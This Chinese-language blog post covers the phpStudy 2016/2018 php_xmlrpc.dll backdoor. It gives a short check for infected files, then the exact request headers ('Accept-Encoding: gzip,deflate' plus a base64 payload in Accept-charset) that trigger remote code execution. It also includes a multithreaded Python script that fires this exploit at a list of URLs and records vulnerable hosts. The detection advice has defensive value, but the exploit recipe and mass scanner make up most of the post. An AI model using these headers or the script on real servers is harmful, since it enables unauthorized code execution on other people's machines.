前言
看到新闻后本来以为影响范围小没多大事。。。
直到发现自己的两个电脑全都中招了才意识到问题大了。。。
不过还好自己当初安装phpstudy后第一时间关了对外端口,只允许本地127.0.0.1访问
并且用的一直是php5.6,完美避开两个后门版本
如果不是新闻爆出来谁能想到这玩意还有后门。。。
awsl,这谁顶得住啊。
后门检测
后门版本:
phpStudy2016 和 phpStudy2018 自带的 php-5.2.17、php-5.4.45两个版本
phpStudy2016路径
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
phpStudy2018路径
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dl
用记事本打开文件,查找@eval
如果存在@eval(%s('%s'))那么恭喜你中奖了
(附上本人中奖截图)
后门利用
原理就不说了,直接看如何利用
只要在任意一个php页面上加上这两个文件头即可达到RCE
Accept-Encoding: gzip,deflate
Accept-charset: cGhwaW5mbygpOw== //phpinfo();
其中Accept-Encoding
中的gzip,deflate
中间注意是没有空格的
这是后门触发的一个关键
Accept-charset
中填写base64编码后的payload
批量脚本
脚本现在已经有很多了,自己也懒得写了
可以直接看清心师傅的博客
https://www.cnblogs.com/-qing-/p/11575622.html
但是有个问题就是清心的脚本误报特别高
原因是他是利用执行echo qing;
后查看返回页面中有没有qing
这个单词来判断的
然而实际上很多页面中本来就附带有这个单词,不具有特征性,就产生了大量误报。
所以自己改了一下脚本内容,使其准确率达到了百分之百
主要修改内容
用echo md5(123)代替echo qing
自定义检测文件名
关了https警告
import base64
import requests
import threading
import threadpool
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
files=input('files:\n')
def write_shell(url):
payload = "echo md5(123);"
payload = base64.b64encode(payload.encode('utf-8'))
headers = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
'Accept-Language': 'zh-CN,zh;q=0.9',
'accept-charset': payload,
'Accept-Encoding': 'gzip,deflate',
'Connection': 'close',
}
try:
r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=10)
if "202cb962ac59075b964b07152d234b70" in r.text:
print ('[ + ] BackDoor successful: '+url+'===============[ + ]\n')
with open(files+'.success.txt','a') as f:
f.write(url+'\n')
else:
print ('[ - ] BackDoor failed: '+url+'[ - ]\n')
except:
print ('[ - ] Timeout: '+url+' [ - ]\n')
def main():
with open(files,'r') as f:
lines = f.read().splitlines()
task_pool=threadpool.ThreadPool(10)
requests=threadpool.makeRequests(write_shell,lines)
for req in requests:
task_pool.putRequest(req)
task_pool.wait()
if __name__ == '__main__':
main()
## 警告!
**脚本仅用于资产自查,请勿用于非法用途!**